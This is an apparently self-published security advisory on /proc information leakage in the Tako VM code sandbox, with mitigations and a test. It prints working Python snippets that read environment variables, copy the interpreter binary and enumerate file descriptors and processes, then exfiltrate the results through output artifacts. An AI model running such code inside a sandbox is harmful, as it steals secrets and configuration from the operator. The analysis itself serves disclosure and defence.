Skip to content

Security Analysis: /proc Filesystem Exposure

Published: 2026-01-26 · Last reviewed: 2026-06-12 Severity: MEDIUM (information disclosure to code already running inside the sandbox) Reference: Equixly: The False Security of AI Containers

Status as of v0.1.4

This is a self-published analysis, not a CVE/GHSA. The behavior described applies to sandboxes running under the standard runc runtime. Primary mitigation, available today: run with gVisor (container_runtime: runsc + security_mode: strict), where /proc is a synthetic view served by the userspace kernel. Seccomp filtering is enabled by default since the analysis was written. AppArmor-based /proc path restrictions under runc remain on the roadmap.

Summary

Tako VM containers are vulnerable to information leakage through the /proc filesystem. While artifact download endpoints have strong path traversal protection, user code executing inside containers can read sensitive data from /proc and exfiltrate it via output artifacts.

Attack Vectors

1. Environment Variable Leakage via /proc/self/environ

Attack Code:

# User submits this as code to execute
import json

# Read all environment variables from /proc
with open('/proc/self/environ', 'rb') as f:
    env_data = f.read()

# Parse null-byte separated key=value pairs
env_vars = {}
for entry in env_data.split(b'\x00'):
    if b'=' in entry:
        key, value = entry.split(b'=', 1)
        env_vars[key.decode()] = value.decode()

# Exfiltrate via output artifact
with open('/output/stolen_env.json', 'w') as f:
    json.dump(env_vars, f, indent=2)

print("Environment extracted successfully")

Information Exposed: - Job type environment variables - avoid using these for secrets - Custom job_type.environment variables - may contain API keys, secrets - System environment (PATH, HOME, etc.)

2. Binary Extraction via /proc/self/exe

Attack Code:

import shutil

# Copy the Python interpreter binary
shutil.copy('/proc/self/exe', '/output/python_binary')
print("Binary extracted")

Risk: Enables reverse engineering of: - Python version and patches - Compiled extensions - Potential vulnerabilities in the runtime

3. File Descriptor Enumeration via /proc/self/fd/

Attack Code:

import os
import json

fds = {}
for fd_num in range(256):
    fd_path = f'/proc/self/fd/{fd_num}'
    try:
        target = os.readlink(fd_path)
        fds[fd_num] = target
    except (FileNotFoundError, OSError):
        pass

with open('/output/open_files.json', 'w') as f:
    json.dump(fds, f, indent=2)

Risk: Reveals: - Open configuration files - Database connections - Unix sockets - Log files

4. Process Enumeration via /proc/[PID]/

Attack Code:

import os
import json

processes = {}
for pid in range(1, 100):
    cmdline_path = f'/proc/{pid}/cmdline'
    try:
        with open(cmdline_path, 'rb') as f:
            cmdline = f.read().replace(b'\x00', b' ').decode()
            processes[pid] = cmdline
    except (FileNotFoundError, PermissionError):
        pass

with open('/output/processes.json', 'w') as f:
    json.dump(processes, f, indent=2)

Risk: Reveals: - Running processes and command arguments - Container initialization details - Potential security tooling

Current Mitigations in Tako VM

What Works ✅

  1. Artifact Download Protection (app.py:1036-1042)
  2. Uses is_relative_to() for robust path validation
  3. Only allows downloads of manifest-listed artifacts
  4. Prevents API-level path traversal

  5. Container Hardening (worker.py:593-600)

  6. Read-only filesystem (except /output, /tmp)
  7. Capability dropping (--cap-drop=ALL)
  8. Network isolation by default
  9. Privilege drop to non-root (uid 1000) via gosu after dependency install (no-new-privileges is intentionally not set; see the hardening guide)

  10. Filename Validation (security.py:335-360)

  11. Blocks path separators in artifact names
  12. Prevents parent directory references
  13. Blocks hidden files

What's Missing ⚠️

  1. No /proc path restrictions under runc - Containers have full read access to their own /proc (Docker masks some host paths like /proc/kcore by default, but not /proc/self/environ)
  2. Environment variables in plaintext - Sensitive config passed via env vars
  3. No LSM (AppArmor/SELinux) - No mandatory access controls

Priority 1: Run under gVisor (available today)

The gVisor runtime serves /proc from its userspace kernel rather than exposing the host kernel's procfs. This is the strongest available mitigation and is built in:

# tako_vm.yaml
container_runtime: runsc
security_mode: strict   # fail rather than silently fall back to runc

What seccomp can and cannot do here

Seccomp (enabled by default) blocks dangerous syscalls (ptrace, process_vm_readv, module loading) but cannot distinguish open("/proc/self/environ") from open("/input/data.json"): both are the same syscall. Path-based /proc restrictions under runc require an LSM (AppArmor/SELinux), which is on the roadmap.

Priority 2: Avoid passing secrets via environment variables

Instead of passing sensitive data via env vars: 1. Use Docker secrets mounting (for production) 2. Write config to read-only files in /input 3. Use a secrets management service

Example - Replace this:

cmd.append(f"--env=SECRET_KEY={secret}")

With this:

# Write to read-only config file instead
config_file = input_dir / "_config.json"
config_file.write_text(json.dumps({"secret_key": secret}))
cmd.append(f"--mount=type=bind,source={config_file},target=/config/secrets.json,readonly")

Priority 3: Know what user code can see

Security Notice: Under runc, user code runs with read access to /proc, which exposes container metadata, environment variables, and process information. Do not pass sensitive secrets via environment variables. Use input files or external secret management instead, and for untrusted code, run under gVisor.

Impact Assessment

Likelihood: HIGH - Any user can submit code to read /proc Impact: MEDIUM - Leaks configuration but not host system access Overall Risk: MEDIUM

Affected Components: - All container executions - Job types with custom environment variables

Testing

Create a test to verify /proc exposure:

def test_proc_environ_exposure():
    """Verify that /proc/self/environ is accessible (known limitation)."""
    code = """
import os
env = dict(os.environ)
with open('/output/result.json', 'w') as f:
    import json
    json.dump({"env_count": len(env)}, f)
    """
    result = executor.execute_job({"code": code, "input_data": {}})
    assert result["success"]
    # This currently passes - demonstrating the vulnerability
    assert result["output"]["env_count"] > 0

References


Next Steps